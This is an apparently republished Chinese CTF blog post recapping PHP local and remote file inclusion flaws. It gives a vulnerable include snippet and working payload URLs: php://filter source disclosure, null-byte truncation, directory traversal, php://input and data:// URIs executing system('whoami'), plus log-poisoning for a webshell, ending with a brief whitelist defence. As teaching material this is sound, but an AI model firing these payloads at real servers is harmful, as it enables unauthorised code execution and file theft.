回顾LFI/RFI

  • A+
所属分类:CTF专场

<?php

if ($_GET['page']) {
include $_GET['page'];
} else {
include 'index.php';
}

?>

程序的本意是当提交url为http://127.0.0.1/page.php?page=index.php时,调用index.php里面的样式内容和功能。

但是由于page参数没有过滤,我们可以自定义参数的内容,导致了文件包含漏洞的产生。

回顾LFI/RFI
回顾LFI/RFI
但是如果我要去读一个php文件的内容,却无法显示,他会被当作一个php脚本被执行。

回顾LFI/RFI
那么解决方法就是把文件的内容以base64编码然后显示出来。

http://192.168.1.130/page.php?page=php://filter/read=convert.base64-encode/resource=page.php

回顾LFI/RFI
回顾LFI/RFI
假设1.txt这个文件里面的内容为phpinfo

回顾LFI/RFI
包含一下,txt文件就会被当作php来执行。

回顾LFI/RFI

然而有些时候:

<?php include($_GET['page']."php");?>

要结合php的%00特性来进行截断包含。

条件:magic_quotes_gpc=off,PHP小于5.3.4有效

回顾LFI/RFI
当然,在unix系统上可以用00截断进行目录遍历。

?page=../../../../../../../../../var/www/%00

php://input

条件:在allow_url_include = On 且 PHP >= 5.2.0,可以直接执行php代码.

回顾LFI/RFI
回顾LFI/RFI
回顾LFI/RFI
page=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=

page=data:;base64,PD9waHBpbmZvKCk7Lyo=

page=data:text/plain,<?php system("whoami");>;


拿shell

回顾LFI/RFI
回顾LFI/RFI
本地文件包含拿shell的方法还有很多,比如访问一个错误的界面,url包含一句话木马,然后包含apache的错误文件error_log则能够成功执行。


远程文件包含

回顾LFI/RFI
需要allow_url_fopen=On并且 allow_url_include=On

有时需要00截断或#注释。


防御方法:

if ($_GET['page'] == "index") {include("index.php");} else {include ("default.php");}


可能会漏掉一些东西,记不起来咯。。。


参考:

http://blog.csdn.net/cnbird2008/article/details/8520667

http://drops.wooyun.org/tips/3827

https://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/


本文始发于微信公众号(关注安全技术):回顾LFI/RFI

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: